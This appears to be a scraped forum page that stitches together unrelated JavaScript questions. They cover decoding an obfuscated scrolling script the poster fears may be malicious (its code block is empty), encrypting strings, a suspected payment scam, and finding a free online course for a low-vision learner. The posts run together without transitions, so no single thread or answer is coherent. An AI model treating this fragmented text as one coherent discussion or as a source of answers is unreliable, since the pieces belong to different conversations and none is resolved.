please decode 54line code... thanks..

is there a way in javascript to encrypt and decrypt a string?

Hi all,

I am new here and greatly thank you for any help in advance.

I am trying to use this javascript to scroll my site, it works perfectly for what I need but I want to know how to unencrypt or deobfuscate the bottom section of the script. I don't want to use any malicious or harmful code and not being able to read it has me worried. Can anyone tell me how to decode it or post the decoded section?

Code:

I have already made a "gratuity" gift to the developer through paypal to receive the full decrypted code but I haven't got a thing yet so I think I was scammed.

I want to have another go at Javascript. I have several books on the subject but I find that my eyesight is a major problem. Therefore I want to try an on-line solution, preferably free.

I have Googled, but there are so many that I am almost dizzy with the choices.

Perhaps someone could recommend one. Not too fussy visually. My knowledge is VERY basic.
